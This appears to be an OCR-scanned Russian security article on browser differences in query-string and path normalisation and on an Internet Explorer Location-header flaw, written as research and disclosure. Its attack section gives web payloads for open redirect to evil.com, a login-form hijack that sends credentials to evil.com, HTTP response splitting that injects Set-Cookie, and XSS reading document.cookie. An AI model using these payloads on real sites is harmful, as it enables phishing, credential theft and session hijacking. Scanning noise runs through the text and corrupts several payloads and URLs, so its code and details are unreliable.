Query stringQuery string —наиболее популярное место передачи векторов для эксплуатации уязвимостей веб — приложений. Ошибки обработки часто обнаруживаются при исследовании отдельных его параметров. В таблице 1 представлены различия обработки query_string.

Принципиального различия между передачей спецсимволов в названии параметра, значении или индексе массива во время тестирования браузеров не было замечено, однако это очень распространенная ошибка обработки со стороны веб — приложения. Например, часто встречается вариант, когда все переданные клиентом параметры обрабатываются отдельно, а затем собираются назад в URI и используются для построения ссылок. При этом замена спецсимволов HTML — сущностями производится только в значении параметров, что позволяет реализовать атаку типа «межсайтовое выполнение сценариев», задействовав несколько параметров. Основной минус разделов params и pathjnfo в том, что их поддерживают далеко не все веб — серверы, но тем не менее о них не стоит забывать. В таблицах 2 и 3 представлены различия их обработки разными браузерами.

Итак, переходим к самой интересной части, а именно к передаче векторов через путь к сценарию. Это наиболее интересный вариант, поскольку:

1. Нам необходимо передать произвольные данные, то есть изменить путь, но в то же время сделать это так, чтобы запрос обрабатывал нужный уязвимый сценарий;

2. Разработчики меньше всего ожидают увидеть векторы атак именно в этой части запроса и часто используют путь к сценарию без дополнительных обработок;

3. Браузеры перед отправкой запроса приводят путь в Request — URI к некоторой нормальной форме.

Остановимся на третьем пункте и рассмотрим различия в обработке пути в наших браузерах. В общем случае нормализация пути включает в себя четыре шага:

•замена символов \ на /;

•вырезание повторяющихся символов /;

•вырезание path traversal конструкций типа folder/../;

•вырезание конструкций типа/./.

Реакцию браузеров на символ \ можно посмотреть в таблице 2 и 3, поскольку браузеры обрабатывают params и pathinfo как часть пути к сценарию. Разница в обработке других конструкций представлена в таблице 4. Таким образом, было выявлено сразу несколько браузеров с необычным поведением при нормализации пути к сценарию:

1. Safari (в том числе и его мобильные версии) не производит нормализацию пути, если точки представлены в URL — кодированном формате.

2. Firefox не вырезает последнюю конструкцию path traversal, если на конце нет символа /.

3. Все браузеры, кроме Opera, не вырезают конструкцию path traversal, если символ / представлен в URL — кодированном формате (в то же время далеко не все веб — серверы корректно обрабатывают данный вариант).

Проведя точно такие же тесты, но через сценарий перенаправления HTTP — заголовком Location, мы обнаружили очень интересную ошибку в браузере Internet Explorer. Особенность IE в том, что он передает Request — URI, полученный в заголовке Location, практически без каких-либо изменений. То есть, используя сценарий перенаправления, можно заставить IE послать в Request — URI любые данные без URL — кодирования (включая управляющие символы и символы, необходимые для проведения атак типа «межсайтовое выполнение сценариев», а также произвольные конструкции path traversal, необходимые для проведения атак через Request — Path). Исключение составляют символы, нарушающие структуру стартовой строки HTTP — запроса: \0, \t, \г, \п и пробел. Более подробно об обнаруженной ошибке обработки можно прочесть в РТ — 2013 — 04, по ссылке: bit.ly/WuKuh5 (на момент написания статьи данная информация еще не была опубликована и ссылка не работала. — Прим. ред.).

Таким образом, мы можем использовать path traversal конструкции в браузерах Safari, Internet Explorer (используя обнаруженную ошибку РТ — 2013 — 04) и частично в Firefox.

классификация атак

Рассмотрим варианты реализации атак на клиенты в случае, если Request — URI попадает в HTTP — ответ.

Open Redirect

Пример:

Location: [Request — Path]/new

Эксплуатация:

http://example.com//evil.com/%2E%2E

Результат:

Location: //evil.com/%2E%2E/new

Браузеры:

Safari., Firefox (из-за особенностей обработки реализация возможна не всегда)

Особенность данной атаки в том, что с точки зрения нормализации пути веб — сервером запросы http://example.com/ и http://example.eom//evil.com/../ одинаковы, но для браузера //evil.com/../ будет восприниматься как ссылка на внешний ресурс без указания URL — схемы.

Иногда сценарии перенаправления учитывают данную особенность и усекают повторяющиеся символы /. Такую предобработку можно попытаться обойти, используя особенности браузеров. В таблице 6 представлены примеры значений заголовка Location, которые браузеры обрабатывают как ссылку на внешний ресурс (под комбинацией [НТ] необходимо понимать символ horizontal — tab [0x09], представленный в чистом виде).

Интересная особенность: Internet Explorer и Chrome игнорируют символ horizontal — tab в значении заголовка.

Ul Redress Attack

Пример:

<form action=»[Request — Path]/login»>

<input name=»login»>

name=»password»>

Эксплуатация:

http://example.com//evil.com/%2E%2E

Результат:

<form action=»//evil.com/%2E%2E/login»> <input name=»login»> <input name=»password»> </form>

Браузеры:

Safari, Internet Explorer (используя

РТ — 2013 — 04), Firefox (из-за особенностей обработки

реализация возможна не всегда)

Данный вариант, несмотря на сложность эксплуатации (необходимы действия пользователя), очень удобен не только для перенаправления пользователя, но и для получения значений параметров формы или ссылки. Например, получив сессионный CSRF — токен, можно подделать запрос от клиента непосредственно в первом же ответе на запрос, полученный в результате Ul Redress атаки.

HTTP Response Splitting

Пример:,……………….__________________________________………____________________________

Location: http://example.com[Request — Pathj/new…..

Дополнительные условия:

URL — декодирование перед попаданием

в HTTP — заголовок……….._________________________………_……………

Эксплуатация:………………

http://example.com/%0ASet — Cookie:х=х%0АХ:/%2Е%2Е

Результат:._______________________

Location; http://example.comy. Set — Cookie:х=х_________

X:./new__________________________________

Браузеры:

Safari, Internet Explorer (используя

PT — 2013 — 04)j Firefox (из-за особенностей…..

обработки реализация возможна не всегда)

Несмотря на наличие дополнительных условий, данный вариант не является надуманным и периодически встречается в реальных приложениях.

Cross Site Scripting

Пример 1

<script>varurl = 1[Request — Path]’;</script>

Эксплуатация:

http://example.com/’+alert(document. cookie)’/%2E%2E……

Результат:…..

<script>varurl = »+alert(document. cookie)+’/%2E%2E’j </script>______________

Браузеры:_______________________________________

Safari, Internet Explorer (используя PT — 2013 — 04)

Пример 2________________________

<link rel=»canonical» href=»http:/./example, com [ Request — Path.l»/>____________________________……………__

Эксплуатация:

/redirect/?r=http://example.com/»><img/src=’x’oner ror=alert(l)>/%252E%252E/%252E%252E/……

Результат:____________________________________…..___________…………………

<link rel=»canonical» href=»http://example.com»> <img/src=’x’ onerrpr=alert(l)>/%2E%2E/%2E%2E/»/>

Браузеры:

Internet Explorer (используя PT — 2013 — 04)

В примере 2 представлен довольно популярный вариант с попаданием на страницу Request — Path без каких-либо обработок непосредственно из запроса, однако из-за URL — кодирования браузерами символов «, <, > в пути к сценарию эксплуатация данной уязвимости возможна только в Internet Explorer через обнаруженную ошибку, позволяющую избежать кодирования Request — URL